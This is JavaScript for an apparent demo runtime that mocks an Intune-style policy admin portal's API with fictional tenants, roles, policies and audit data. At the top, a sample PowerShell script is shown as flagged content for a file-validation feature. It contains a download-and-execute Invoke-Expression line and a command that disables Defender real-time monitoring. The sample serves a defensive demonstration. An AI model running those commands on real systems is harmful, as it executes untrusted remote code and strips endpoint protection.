DEMO_SCRIPT_PREVIEW = [ '# setup-helper.ps1 — vendor supplied, retrieved for validation', '$ErrorActionPreference = "Stop"', '', '# Flagged: remote content fetched and executed in one step', 'Invoke-Expression (New-Object Net.WebClient).DownloadString("https://downloads.example-vendor.net/addin/stage2.ps1")', '', '# Flagged: tampering with endpoint protection', 'Set-MpPreference -DisableRealtimeMonitoring $true', '', 'Copy-Item ".\\addin.xll" "$env:APPDATA\\Microsoft\\Excel\\XLSTART\\addin.xll" -Force', 'Write-Host "Add-in staged."' ].join('\n'); // ────────────────────────────────────────────────────────────────── // Session state — the only part a visitor can change // ────────────────────────────────────────────────────────────────── function freshState() { var policies = seedPolicies(); return { version: 1, role: 'FullAdmin', personaIndex: 0, eulaAccepted: true, eulaAcceptedDate: isoAgo(120, 9, 12), policies: policies, rbac: seedRbac(), audit: seedAudit(policies), feedback: seedFeedback(), multiAdmin: { enabled: true, enabledBy: 'Morgan Hale', enabledDate: isoAgo(6, 14, 2), consentedAdmins: ['Morgan Hale', 'Priya Raman', 'Jonas Lindqvist'], consented: true }, toast: { enabled: true, style: 'full', accent: '#0b6bcb', orgName: 'Contoso IT', heading: 'Your device settings were updated', message: 'Contoso IT applied new workplace settings to this device. No action is needed.', logo: '', updatedBy: 'Nadia Haddad', updatedDate: isoAgo(19, 10, 5) }, clientAuthCode: { authCode: 'CPP-DEMO-7F3A-91C4-2E88-B650', generatedAt: isoAgo(9, 8, 14), generatedBy: 'Morgan Hale' }, webhook: { exists: true, maskedUrl: 'https://contoso.webhook.office.com/webhookb2/****-****-****/IncomingWebhook/****' }, features: FEATURE_DEFS.reduce(function (acc, d) { acc[d.name] = d.defaultOn; return acc; }, {}), featuresUpdatedBy: 'Priya Raman', featuresUpdatedUtc: isoAgo(13, 15, 30), nextPolicyId: 900 }; } var state; try { var saved = window.sessionStorage.getItem(STORE_KEY); state = saved ? JSON.parse(saved) : freshState(); if (!state || state.version !== 1) state = freshState(); } catch (e) { state = freshState(); } function persist() { try { window.sessionStorage.setItem(STORE_KEY, JSON.stringify(state)); } catch (e) { /* Private browsing or a full quota — the demo still works, it just forgets on reload. Not worth interrupting the visitor over. */ } } // Derived data is rebuilt every load rather than stored. var CHECKINS = seedCheckins(); var CHECKIN_LOG = seedCheckinLog(); var TRACKING = seedTracking(seedPolicies()); seedValidations(seedPolicies()); // Personas the visitor can switch between. var PERSONAS = [ { name: 'Morgan Hale', upn: 'morgan.hale@contoso.com', id: USERS[0].id, role: 'FullAdmin', label: 'Full Admin' }, { name: 'Daniel Okafor', upn: 'daniel.okafor@contoso.com', id: USERS[2].id, role: 'ReadOnlyAdmin', label: 'Read-Only Admin' }, { name: 'Rahul Mehta', upn: 'rahul.mehta@contoso.com', id: USERS[13].id, role: 'ReportViewer', label: 'Report Viewer' } ]; function persona() { return PERSONAS[state.personaIndex] || PERSONAS[0]; } function role() { return persona().role; } function canRead() { return ['FullAdmin', 'ReadOnlyAdmin'].indexOf(role()) !== -1; } function canReport() { return ['FullAdmin', 'ReadOnlyAdmin', 'ReportViewer'].indexOf(role()) !== -1; } function isAdmin() { return role() === 'FullAdmin'; } // ────────────────────────────────────────────────────────────────── // Responses // ────────────────────────────────────────────────────────────────── function json(body, status) { return { status: status || 200, body: typeof body === 'string' ? body : JSON.stringify(body) }; } function forbidden(message) { return json({ error: 'Forbidden', message: message || 'Insufficient permissions' }, 403); } function demoOnly(message) { // The portal renders the 'error' field, so the whole sentence goes there. var text = message || 'This action changes tenant infrastructure and is switched off in the demo environment.'; return json({ error: text, message: text, demo: true }, 403); } function auditWrite(action, category, detail, targetName, targetId) { state.audit.unshift({ PartitionKey: TENANT_ID, RowKey: gid('audit', 5000 + state.audit.length), Action: action, Category: category, Detail: detail, PerformedBy: persona().id, PerformedByName: persona().name, TargetId: targetId || '', TargetName: targetName || '', IPAddress: '203.0.113.7', CreatedDate: new Date().toISOString(), Timestamp: new Date().toISOString() }); } /** Tracking rows for policies that still exist. */ function liveTracking() { var ids = {}; state.policies.forEach(function (p) { ids[p.RowKey] = true; }); return TRACKING.filter(function (r) { return ids[r.SettingId]; }); } var HANDLERS = { 'userinfo': function () { var p = persona(); return json([{ name: p.name, email: p.upn, id: p.id, tenantId: TENANT_ID, tenantName: TENANT_NAME + ' (Demo)', isAuthenticated: true }]); }, 'rbac/my-role': function () { return json({ objectId: persona().id, tenantId: TENANT_ID, role: role() }); }, 'global-stats': function () { return json({ tenantCount: 128, policyCount: 4217 }); }, // Liveness heartbeat the portal polls. 401 means "session expired" to // the portal, so the demo must always answer 200. 'health': function () { return json({ ok: true, utc: new Date().toISOString() }); }, // Per-tenant preview feature flags. 'features': function (req) { if (req.method === 'POST') { if (!isAdmin()) return forbidden('Only Full Admins can change preview features'); var incoming = (req.body && req.body.features) || {}; if (typeof incoming !== 'object') { return json({ error: 'Invalid body', message: 'Body must be { features: { Name: true|false, ... } }.' }, 400); } var changed = []; FEATURE_DEFS.forEach(function (d) { if (Object.prototype.hasOwnProperty.call(incoming, d.name)) { var on = incoming[d.name] === true || incoming[d.name] === 'true' || incoming[d.name] === 1; if (state.features[d.name] !== on) changed.push(d.title); state.features[d.name] = on; } }); state.featuresUpdatedBy = persona().name; state.featuresUpdatedUtc = new Date().toISOString(); if (changed.length) { auditWrite('Update', 'Settings', 'Changed preview features: ' + changed.join(', '), 'Features', ''); } persist(); } return json(featureResponse()); }, // The 2.0 client lifecycle at a glance: the tenant sync job's last // round, devices still waiting, and the client version spread. 'lifecycle-status': function () { if (!canReport()) return forbidden('Insufficient permissions to view client lifecycle data'); var flags = {}; ['TenantSync', 'DailyReport', 'ConditionalGet', 'ContextCache', 'StormControl', 'PolicyVersion'] .forEach(function (n) { flags[n] = !!state.features[n]; }); return json({ sync: { state: { LastFullSyncUtc: isoAgo(1, 2, 15), LastRoundUtc: isoAgo(0, Math.max(0, NOW.getUTCHours() - 1), 5), LastRoundCalls: 34, LastRoundDevices: 24, LastRoundStatus: 'ok', LastError: '', PendingCount: 2, LastManagedDevicesListUtc: isoAgo(0, Math.max(0, NOW.getUTCHours() - 1), 2) }, pendingCount: 2, pendingOldestUtc: isoAgo(0, 6, 40), pendingNewestUtc: isoAgo(0, 8, 12) }, clients: { total: DEVICES.length, reported: DEVICES.length - 2, versions: [ { version: '2.0.0-preview', count: 15 }, { version: '1.0.3', count: 7 }, { version: 'unknown', count: 2 } ], staleReports: 2, failing: 1, errors: 1 }, features: flags }); }, // Where the client Win32 package is downloaded from, for the setup step. 'client-package': function () { if (!canRead()) return forbidden('Only administrators can view the client package'); return json({ version: '2.0.0', fileName: 'CloudPolicyPreferences-2.0.0.intunewin', sha256FileName: 'CloudPolicyPreferences-2.0.0.intunewin.sha256', url: 'https://cdn.contoso.com/cpp-client/CloudPolicyPreferences-2.0.0.intunewin', sha256Url: 'https://cdn.contoso.com/cpp-client/CloudPolicyPreferences-2.0.0.intunewin.sha256', published: true }); }, 'list': function (req) { if (!canRead()) return forbidden('Insufficient permissions to view policies'); var out = state.policies; var type = req.query.get('settingType'); if (type) out = out.filter(function (p) { return p.SettingType === type; }); return json({ policies: out, count: out.length }); }, 'stats': function () { if (!canReport()) return forbidden(); var breakdown = {}; var targets = {}; state.policies.forEach(function (p) { breakdown[p.SettingType] = (breakdown[p.SettingType] || 0) + 1; if (p.TargetIdentifier) targets[p.TargetIdentifier] = true; }); var monthStart = new Date(Date.UTC(NOW.getUTCFullYear(), NOW.getUTCMonth(), 1)); var changes = state.audit.filter(function (e) { return new Date(e.Timestamp) >= monthStart; }).length; return json({ totalSettings: state.policies.length, settingBreakdown: breakdown, targetCount: Object.keys(targets).length, changesThisMonth: changes }); }, 'list-checkins': function () { if (!canReport()) return forbidden('Insufficient permissions to view check-in data'); return json({ checkins: CHECKINS, count: CHECKINS.length }); }, 'list-tracking': function () { if (!canReport()) return forbidden('Insufficient permissions to view tracking data'); var rows = liveTracking(); return json({ tracking: rows, count: rows.length }); }, 'list-checkin-log': function () { if (!canReport()) return forbidden('Insufficient permissions to view check-in data'); return json({ checkinLog: CHECKIN_LOG, count: CHECKIN_LOG.length }); }, 'create': function (req) { if (!isAdmin()) return forbidden('Only Full Admins can create policies'); var p = req.body || {}; if (!p.Name || !p.SettingType) { return json({ error: 'Validation error', message: 'Missing required field: Name' }, 400); } var targets = (p.targets && p.targets.length) ? p.targets : (p.TargetIdentifier ? [{ type: p.TargetType, id: p.TargetIdentifier, name: p.TargetDisplayName }] : []); if (!targets.length) { return json({ error: 'Validation error', message: 'A policy needs at least one user or group to target.' }, 400); } state.nextPolicyId++; var approvalState = state.multiAdmin.enabled ? 'Pending' : 'Approved'; var now = new Date().toISOString(); var entity = { PartitionKey: TENANT_ID + '_' + p.SettingType, RowKey: gid('policy', state.nextPolicyId), TenantId: TENANT_ID, SettingType: p.SettingType, Name: p.Name, Description: p.Description || '', SettingData: typeof p.SettingData === 'string' ? p.SettingData : JSON.stringify(p.SettingData || {}), TargetType: targets[0].type, TargetIdentifier: targets[0].id, TargetDisplayName: targets[0].name, Targets: JSON.stringify(targets.map(function (t) { return { type: t.type, id: t.id }; })), TargetNames: JSON.stringify(targets.map(function (t) { return t.name; })), CreatedBy: persona().name, CreatedDate: now, ModifiedBy: persona().name, LastModifiedDate: now, Timestamp: now, DataVersion: 2, ApprovalState: approvalState }; if (approvalState === 'Pending') { entity.ApprovalRequestedBy = persona().id; entity.ApprovalRequestedName = persona().name; } state.policies.unshift(entity); auditWrite('Create', 'PolicySetting', 'Created ' + p.SettingType + " setting '" + p.Name + "'" + (approvalState === 'Pending' ? ' (pending approval)' : ''), p.Name, entity.RowKey); persist(); return json({ success: true, settingId: entity.RowKey, message: approvalState === 'Pending' ? 'Setting created successfully (pending approval)' : 'Setting created successfully', setting: entity, approvalState: approvalState }, 201); }, 'update': function (req) { if (!isAdmin()) return forbidden('Only Full Admins can edit policies'); var p = req.body || {}; var idx = -1; for (var i = 0; i < state.policies.length; i++) { if (state.policies[i].RowKey === p.SettingId) { idx = i; break; } } if (idx === -1) return json({ error: 'Not found', message: 'Setting not found' }, 404); var targets = (p.targets && p.targets.length) ? p.targets : [{ type: p.TargetType, id: p.TargetIdentifier, name: p.TargetDisplayName }]; var approvalState = state.multiAdmin.enabled ? 'Pending' : 'Approved'; var existing = state.policies[idx]; var now = new Date().toISOString(); var entity = Object.assign({}, existing, { Name: p.Name, Description: p.Description || '', SettingData: typeof p.SettingData === 'string' ? p.SettingData : JSON.stringify(p.SettingData || {}), TargetType: targets[0].type, TargetIdentifier: targets[0].id, TargetDisplayName: targets[0].name, Targets: JSON.stringify(targets.map(function (t) { return { type: t.type, id: t.id }; })), TargetNames: JSON.stringify(targets.map(function (t) { return t.name; })), ModifiedBy: persona().name, LastModifiedDate: now, Timestamp: now, ApprovalState: approvalState }); if (approvalState === 'Pending') { entity.ApprovalRequestedBy = persona().id; entity.ApprovalRequestedName = persona().name; } state.policies[idx] = entity; auditWrite('Update', 'PolicySetting', 'Updated ' + entity.SettingType + " setting '" + entity.Name + "'", entity.Name, entity.RowKey); persist(); return json({ success: true, settingId: entity.RowKey, message: approvalState === 'Pending' ? 'Setting updated successfully (reset to pending approval)' : 'Setting updated successfully', setting: entity, approvalState: approvalState }); }, 'delete': function (req) { if (!isAdmin()) return forbidden('Only Full Admins can delete policies'); var settingId = req.query.get('settingId'); var removed = null; state.policies = state.policies.filter(function (p) { if (p.RowKey === settingId) { removed = p; return false; } return true; }); if (!removed) return json({ error: 'Not found', message: 'Setting not found' }, 404); var trackingRemoved = TRACKING.filter(function (r) { return r.SettingId === settingId; }).length; auditWrite('Delete', 'PolicySetting', 'Deleted ' + removed.SettingType + " setting '" + removed.Name + "'", removed.Name, settingId); persist(); return json({ success: true, message: 'Setting deleted successfully', trackingRemoved: trackingRemoved }); }, 'policy-approval': function (req) { if (!isAdmin()) return forbidden('Only Full Admins can approve policies'); var body = req.body || {}; var target = null; state.policies.forEach(function (p) { if (p.RowKey === body.settingId) target = p; }); if (!target) return json({ error: 'Not found', message: 'Policy not found' }, 404); if (target.ApprovalRequestedBy === persona().id) { return json({ error: 'Forbidden', message: 'You cannot approve a policy change that you requested. A different administrator must approve it.' }, 403); } if (target.ValidationState === 'Blocked') { return json({ error: 'Validation error', message: 'This policy has failed file validation and cannot be approved until the source file is remediated.' }, 400); } target.ApprovalState = body.action === 'approve' ? 'Approved' : 'Blocked'; auditWrite(body.action === 'approve' ? 'Approve' : 'Block', 'PolicySetting', (body.action === 'approve' ? 'Approved ' : 'Blocked ') + target.SettingType + " setting '" + target.Name + "'", target.Name, target.RowKey); persist(); return json({ success: true, approvalState: target.ApprovalState, message: 'Policy ' + (body.action === 'approve' ? 'approved' : 'blocked') + ' successfully' }); }, 'search-users': function (req) { if (!canReport()) return forbidden(); var q = (req.query.get('query') || '').toLowerCase().trim(); var targetType = req.query.get('targetType'); if (!targetType) return json({ error: 'Validation error', message: 'Missing required parameter: targetType' }, 400); if (q.length < 2) return json({ results: [], message: 'Query too short' }); var source = targetType === 'Group' ? GROUPS : USERS; var results = source.filter(function (o) { return o.displayName.toLowerCase().indexOf(q) !== -1 || (o.mail || '').toLowerCase().indexOf(q) !== -1 || (o.userPrincipalName || '').toLowerCase().indexOf(q) !== -1; }).slice(0, 10).map(function (o) { return targetType === 'Group' ? { id: o.id, displayName: o.displayName, mail: o.mail } : { id: o.id, userPrincipalName: o.userPrincipalName, displayName: o.displayName, mail: o.mail }; }); return json({ results: results, count: results.length }); }, 'validate-target': function (req) { if (!canReport()) return forbidden(); var objectId = req.query.get('objectId'); var expected = req.query.get('targetType'); var found = null, actualType = null; USERS.forEach(function (u) { if (u.id === objectId) { found = u; actualType = 'User'; } }); GROUPS.forEach(function (g) { if (g.id === objectId) { found = g; actualType = 'Group'; } }); if (!found) { return json({ valid: false, message: 'Could not look up the directory object. It may have been deleted or permissions are insufficient.' }); } var match = actualType === expected; return json({ valid: match, actualType: actualType, targetType: expected, displayName: found.displayName, objectId: objectId, message: match ? 'Target matches the expected type' : 'Type mismatch: target is a ' + actualType + ' but policy specifies ' + expected }); }, 'user-groups': function (req) { if (!canReport()) return forbidden(); var userId = req.query.get('userId'); if (!userId) return json({ error: 'Validation error', message: 'Missing required parameter: userId' }, 400); var groupIds = MEMBERSHIP[userId] || []; return json({ groupIds: groupIds, count: groupIds.length }); }, 'browse-registry': function (req) { var hive = req.query.get('hive'); if (!hive) return json({ error: 'Validation error', message: 'Missing required parameter: hive' }, 400); var map = { 'HKLM\\': ['SOFTWARE', 'SYSTEM', 'HARDWARE', 'SAM', 'SECURITY'], 'HKCU\\': ['Software', 'Control Panel', 'Environment', 'Network', 'Printers'], 'HKCR\\': ['.exe', '.msi', 'Applications', 'CLSID'], 'HKU\\': ['.DEFAULT', 'S-1-5-18', 'S-1-5-19', 'S-1-5-20'] }; var subkeys = map[hive] || ['Contoso', 'Microsoft', 'Policies', 'Classes', 'Wow6432Node']; return json({ currentPath: hive, subkeys: subkeys, message: 'Select a path or enter a custom registry path' }); }, 'file-hash': function (req) { var url = req.query.get('url') || ''; return json({ sha256: 'b7419fa2c0d85e31648f7cd2a05be9137c4680da29f5b3c8e017426d9ac53f80', fileSizeBytes: 1048576, fileSizeDisplay: '1.0 MB', calculatedAt: new Date().toISOString(), url: url }); }, 'recalculate-hash': function (req) { var body = req.body || {}; var sd = {}; try { sd = typeof body.settingData === 'string' ? JSON.parse(body.settingData) : (body.settingData || {}); } catch (e) { sd = {}; } sd.ExpectedSha256 = 'b7419fa2c0d85e31648f7cd2a05be9137c4680da29f5b3c8e017426d9ac53f80'; sd.HashFileSizeBytes = 1048576; sd.HashCalculatedAt = new Date().toISOString(); return json({ success: true, sha256: sd.ExpectedSha256, fileSizeBytes: sd.HashFileSizeBytes, fileSizeDisplay: '1.0 MB', calculatedAt: sd.HashCalculatedAt, settingData: JSON.stringify(sd) }); }, 'validate-url': function (req) { var url = req.query.get('url') || ''; // Anything on the fictional CDN resolves; everything else reports // a clean failure so the error path can be demonstrated too. if (/^https:\/\/(cdn\.contoso\.com|downloads\.example-vendor\.net)\//.test(url)) { return json({ valid: true, statusCode: 200, fileSizeBytes: 2841122, fileSizeDisplay: '2.7 MB', contentType: 'application/octet-stream' }); } if (/^https:\/\//.test(url)) { return json({ valid: false, statusCode: 404, error: 'The file could not be found at that address.' }); } return json({ valid: false, statusCode: 0, error: 'Enter an https:// address.' }); }, 'file-validation': function (req) { var rowKey = req.query.get('rowKey'); var record = FILE_VALIDATIONS[rowKey]; return record ? json(record) : json({ found: false }); }, 'script-proxy': function () { return { status: 200, body: DEMO_SCRIPT_PREVIEW, contentType: 'text/plain; charset=utf-8' }; }, 'tdek-config': function () { // Reported unconfigured on purpose: the portal only runs its // client-side decrypt when a key is present, and the demo serves // everything — including whatever a visitor types — in the clear. return json({ configured: false }); }, 'client-auth-code': function () { if (!isAdmin()) return forbidden(); return json(state.clientAuthCode); }, 'client-auth-code/generate': function () { if (!isAdmin()) return forbidden(); var block = function () { return Math.floor(rnd(Date.now() % 100000 + Math.random() * 1000) * 65536).toString(16).toUpperCase(); }; state.clientAuthCode = { authCode: 'CPP-DEMO-' + ('0000' + block()).slice(-4) + '-' + ('0000' + block()).slice(-4) + '-' + ('0000' + block()).slice(-4) + '-' + ('0000' + block()).slice(-4), generatedAt: new Date().toISOString(), generatedBy: persona().name }; auditWrite('Generate', 'Settings', 'Generated a new client authentication code', 'ClientAuthCode', ''); persist(); return json(state.clientAuthCode); }, 'encryption-key/status': function () { if (!isAdmin()) return forbidden(); return json({ enabled: true, publicKey: '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxDemoKeyForTheCloud\nPolicyPreferencesDemoEnvironmentOnlyNotUsableForAnyRealDevice0000\n-----END PUBLIC KEY-----' }); }, 'admin-consent-url': function () { return json({ configured: true, consentGranted: true, isHostingTenant: true, tenantId: TENANT_ID, authMethod: 'MSI', message: 'Graph API access is simulated in the demo environment. No consent is required.' }); }, 'consent-check-permissions': function () { return json({ tenant: TENANT_ID, permissions: [ { permission: 'User.Read.All', granted: true }, { permission: 'GroupMember.Read.All', granted: true }, { permission: 'DeviceManagementManagedDevices.Read.All', granted: true }, { permission: 'Device.Read.All', granted: true } ] }); }, // What the service health rail on Home reads. The live route answers // "what was granted, and when", from the CloudPolicyGraphConsent row the // permission check leaves behind - never a fresh Graph call - and it is // gated to the three roles that can see the rail. The four required // permissions are the ones Get-CppRequiredGraphPermissions lists. 'consent-cached-permissions': function () { if (!canReport()) return forbidden('Insufficient permissions to view the recorded consent state'); var required = [ 'User.Read.All', 'GroupMember.Read.All', 'DeviceManagementManagedDevices.Read.All', 'Device.Read.All' ]; return json({ checked: true, consentedAt: isoAgo(3, 9, 12), required: required, granted: required, missing: [], recordCount: 1 }); }, 'tenant-graph-config': function () { return json({ isHostingTenant: true, authMethod: 'MSI', configured: true, message: 'This is the demo tenant. Graph API results are simulated; no client secret is required.' }); }, 'rbac/list': function () { if (!isAdmin()) return forbidden(); return json({ users: state.rbac, count: state.rbac.length }); }, 'rbac/upsert': function (req) { if (!isAdmin()) return forbidden(); var body = req.body || {}; var existing = null; state.rbac.forEach(function (u) { if (u.ObjectId === body.objectId) existing = u; }); if (existing) { existing.Role = body.role; existing.DisplayName = body.displayName || existing.DisplayName; existing.Email = body.email || existing.Email; } else { state.rbac.push({ PartitionKey: TENANT_ID, RowKey: body.objectId, ObjectId: body.objectId, DisplayName: body.displayName || 'Unknown', Email: body.email || '', Role: body.role, CreatedDate: new Date().toISOString(), Timestamp: new Date().toISOString() }); } auditWrite('Upsert', 'RBAC', 'Granted ' + body.role + ' to ' + (body.displayName || body.objectId), body.displayName, body.objectId); persist(); return json({ success: true, message: 'User role updated successfully', user: { PartitionKey: TENANT_ID, RowKey: body.objectId, ObjectId: body.objectId, Role: body.role, DisplayName: body.displayName, Email: body.email } }); }, 'rbac/delete': function (req) { if (!isAdmin()) return forbidden(); var objectId = req.query.get('objectId'); if (objectId === persona().id) { return json({ error: 'Forbidden', message: 'You cannot remove your own access.' }, 403); } var removed = null; state.rbac = state.rbac.filter(function (u) { if (u.ObjectId === objectId) { removed = u; return false; } return true; }); if (removed) { auditWrite('Delete', 'RBAC', 'Removed access for ' + removed.DisplayName, removed.DisplayName, objectId); persist(); } return json({ success: true, message: 'User removed successfully' }); }, 'audit/list': function (req) { if (!canRead()) return forbidden(); var category = req.query.get('category'); var top = parseInt(req.query.get('top'), 10) || 500; var entries = state.audit; if (category) entries = entries.filter(function (e) { return e.Category === category; }); entries = entries.slice(0, top); return json({ entries: entries, count: entries.length }); }, 'eula-acceptance': function (req) { if (req.method === 'POST') { state.eulaAccepted = true; state.eulaAcceptedDate = new Date().toISOString(); persist(); return json({ success: true, acceptedDate: state.eulaAcceptedDate }); } return state.eulaAccepted ? json({ accepted: true, acceptedDate: state.eulaAcceptedDate, userName: persona().name }) : json({ accepted: false }); }, 'multi-admin-config': function (req) { if (req.method === 'POST') { if (!isAdmin()) return forbidden(); var body = req.body || {}; state.multiAdmin.enabled = !!body.enabled; state.multiAdmin.enabledBy = persona().name; state.multiAdmin.enabledDate = new Date().toISOString(); auditWrite(body.enabled ? 'Enable' : 'Disable', 'Settings', (body.enabled ? 'Enabled' : 'Disabled') + ' Multi-Admin Approval', 'MultiAdminConfig', ''); persist(); return json({ success: true, enabled: state.multiAdmin.enabled }); } return json({ enabled: state.multiAdmin.enabled, enabledBy: state.multiAdmin.enabledBy, enabledDate: state.multiAdmin.enabledDate, consentedAdmins: state.multiAdmin.consentedAdmins }); }, 'multi-admin-consent': function (req) { if (req.method === 'POST') { var body = req.body || {}; state.multiAdmin.consented = body.action === 'accept'; persist(); return json({ success: true, consented: state.multiAdmin.consented }); } return json({ enabled: state.multiAdmin.enabled, consented: state.multiAdmin.consented }); }, 'toast-config': function (req) { if (req.method === 'POST') { if (!isAdmin()) return forbidden(); var body = req.body || {}; Object.keys(body).forEach(function (k) { var key = k.charAt(0).toLowerCase() + k.slice(1); if (key in state.toast) state.toast[key] = body[k]; }); if (['full', 'compact'].indexOf(String(state.toast.style).toLowerCase()) === -1) { return json({ error: 'Validation error', message: "style must be 'full' or 'compact'" }, 400); } state.toast.style = String(state.toast.style).toLowerCase(); state.toast.updatedBy = persona().name; state.toast.updatedDate = new Date().toISOString(); auditWrite('Update', 'Settings', 'Updated user notification configuration', 'ToastConfig', ''); persist(); return json({ success: true, enabled: state.toast.enabled, style: state.toast.style }); } return json(state.toast); }, 'webhook-status': function () { if (!isAdmin()) return forbidden(); return state.webhook.exists ? json({ exists: true, maskedUrl: state.webhook.maskedUrl }) : json({ exists: false }); }, 'webhook-subscribe': function () { if (!isAdmin()) return forbidden(); state.webhook = { exists: true, maskedUrl: 'https://contoso.webhook.office.com/webhookb2/****-****-****/IncomingWebhook/****' }; auditWrite('Subscribe', 'Settings', 'Saved a Teams webhook subscription', 'Webhook', ''); persist(); return json({ success: true, message: 'Webhook subscription saved' }); }, 'webhook-unsubscribe': function () { if (!isAdmin()) return forbidden(); state.webhook = { exists: false, maskedUrl: '' }; auditWrite('Unsubscribe', 'Settings', 'Removed the Teams webhook subscription', 'Webhook', ''); persist(); return json({ success: true, message: 'Webhook subscription removed' }); }, 'webhook-test': function () { // No real Teams post from a demo tenant, but the UI should still // show the success path. return json({ success: true, message: 'Test notification sent successfully' }); }, 'feedback': function (req) { if (req.method === 'POST') { var body = req.body || {}; var item = { id: gid('feedback', 500 + state.feedback.length), feedbackType: body.feedbackType || 'General feedback', message: body.message || '', status: 'New', submittedDate: new Date().toISOString(), submittedBy: persona().name, submitterId: persona().id }; state.feedback.unshift(item); persist(); return json({ success: true, feedbackId: item.id, message: 'Feedback submitted successfully' }, 201); } var seesAll = canRead(); var items = state.feedback .filter(function (f) { return seesAll || f.submitterId === persona().id; }) .map(function (f) { return { id: f.id, feedbackType: f.feedbackType, message: f.message, status: f.status, submittedDate: f.submittedDate, submittedBy: f.submittedBy, mine: f.submitterId === persona().id }; }); return json({ items: items, scope: seesAll ? 'tenant' : 'own', total: items.length }); }, // Infrastructure actions that would change real tenant state. 'tdek-config/generate': function () { return demoOnly('Key management is switched off in the demo environment.'); }, 'tdek-config/disable': function () { return demoOnly('Key management is switched off in the demo environment.'); }, 'tdek-config/export': function () { return demoOnly('Key export is switched off in the demo environment.'); }, 'tdek-config/migrate': function () { return demoOnly('Data migration is switched off in the demo environment.'); }, 'encryption-key/generate': function () { return demoOnly('Key management is switched off in the demo environment.'); }, 'encryption-key/disable': function () { return demoOnly('Key management is switched off in the demo environment.'); }, 'purge-all': function () { return demoOnly('Bulk deletion is switched off in the demo. Use "Reset demo data" to start over.'); } }; // ────────────────────────────────────────────────────────────────── // fetch() interception // ────────────────────────────────────────────────────────────────── var nativeFetch = window.fetch.bind(window); function respond(result) { var headers = { 'Content-Type': result.contentType || 'application/json; charset=utf-8' }; return new Response(result.body, { status: result.status || 200, headers: headers }); } function delay(ms) { return ms > 0 ? new Promise(function (r) { setTimeout(r, ms); }) : Promise.resolve(); } window.fetch = function (input, init) { var url, method, bodyText; try { if (typeof input === 'string') { url = input; method = ((init && init.method) || 'GET').toUpperCase(); bodyText = init && init.body; } else if (input instanceof Request) { url = input.url; method = input.method.toUpperCase(); bodyText = init && init.body; } else { return nativeFetch(input, init); } } catch (e) { return nativeFetch(input, init); } var parsed; try { parsed = new URL(url, window.location.origin); } catch (e) { return nativeFetch(input, init); } if (parsed.pathname.indexOf(API) !== 0) return nativeFetch(input, init); var route = parsed.pathname.slice(API.length); if (PASSTHROUGH.test(route)) return nativeFetch(input, init); var handler = HANDLERS[route]; var req = { method: method, query: parsed.searchParams, body: null }; if (typeof bodyText === 'string') { try { req.body = JSON.parse(bodyText); } catch (e) { req.body = null; } } var result; if (handler) { try { result = handler(req); } catch (err) { console.error('[Demo] Handler for "' + route + '" failed:', err); result = json({ error: 'Demo runtime error', message: String(err && err.message) }, 500); } } else { // A route the mirrored portal gained since this file was written. console.warn('[Demo] No mock for "' + route + '" — returning an empty result.'); result = json({ success: true, demo: true }); } return delay(LATENCY).then(function () { return respond(result); }); }; // ────────────────────────────────────────────────────────────────── // Demo control panel // ────────────────────────────────────────────────────────────────── function mountControls() { if (document.getElementById('cpp-demo-bar')) return; var style = document.createElement('style'); style.textContent = [ '#cpp-demo-bar{position:fixed;left:16px;bottom:16px;z-index:2147483000;', 'display:flex;align-items:center;gap:10px;padding:7px 10px 7px 12px;', 'background:#141b2d;color:#e8ecf6;border:1px solid rgba(232,236,246,.14);border-radius:999px;', 'box-shadow:0 6px 24px rgba(10,16,32,.28);font:500 12px/1.2 -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;}', '#cpp-demo-bar .cpp-demo-tag{display:inline-flex;align-items:center;gap:6px;letter-spacing:.08em;', 'text-transform:uppercase;font-size:10px;font-weight:700;color:#ffd479;}', '#cpp-demo-bar .cpp-demo-dot{width:7px;height:7px;border-radius:50%;background:#ffd479;}', '#cpp-demo-bar .cpp-demo-sep{width:1px;height:18px;background:rgba(232,236,246,.18);}', '#cpp-demo-bar label{color:rgba(232,236,246,.62);font-size:11px;}', '#cpp-demo-bar select{background:#1e2740;color:#e8ecf6;border:1px solid rgba(232,236,246,.18);', 'border-radius:7px;padding:4px 7px;font:500 12px/1.2 inherit;cursor:pointer;}', '#cpp-demo-bar button{background:rgba(232,236,246,.10);color:#e8ecf6;border:1px solid rgba(232,236,246,.18);', 'border-radius:7px;padding:5px 10px;font:500 12px/1.2 inherit;cursor:pointer;}', '#cpp-demo-bar button:hover{background:rgba(232,236,246,.18);}', '#cpp-demo-bar .cpp-demo-hide{padding:4px 8px;color:rgba(232,236,246,.6);}', '@media print{#cpp-demo-bar{display:none;}}' ].join(''); document.head.appendChild(style); var bar = document.createElement('div'); bar.id = 'cpp-demo-bar'; var tag = document.createElement('span'); tag.className = 'cpp-demo-tag'; tag.innerHTML = 'Demo data'; bar.appendChild(tag); var sep = document.createElement('span'); sep.className = 'cpp-demo-sep'; bar.appendChild(sep); var label = document.createElement('label'); label.setAttribute('for', 'cpp-demo-role'); label.textContent = 'Signed in as'; bar.appendChild(label); var select = document.createElement('select'); select.id = 'cpp-demo-role'; PERSONAS.forEach(function (p, i) { var opt = document.createElement('option'); opt.value = String(i); opt.textContent = p.name + ' — ' + p.label; if (i === state.personaIndex) opt.selected = true; select.appendChild(opt); }); select.addEventListener('change', function () { state.personaIndex = parseInt(select.value, 10) || 0; state.role = role(); persist(); // The portal reads the role once at start-up, so a reload is the // honest way to show the switch. window.location.reload(); }); bar.appendChild(select); var reset = document.createElement('button'); reset.type = 'button'; reset.textContent = 'Reset demo data'; reset.addEventListener('click', function () { try { window.sessionStorage.removeItem(STORE_KEY); } catch (e) { /* ignore */ } window.location.reload(); }); bar.appendChild(reset); var hide = document.createElement('button'); hide.type = 'button'; hide.className = 'cpp-demo-hide'; hide.title = 'Hide this bar for the rest of the session'; hide.textContent = 'Hide'; hide.addEventListener('click', function () { bar.remove(); }); bar.appendChild(hide); document.body.appendChild(bar); } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', mountControls); } else { mountControls(); } console.info('[Demo] Cloud Policy Preferences demo runtime active — ' + state.policies.length + ' policies, ' + DEVICES.length + ' devices, ' + CHECKIN_LOG.length + ' check-in log entries. All data is fictional.'); })();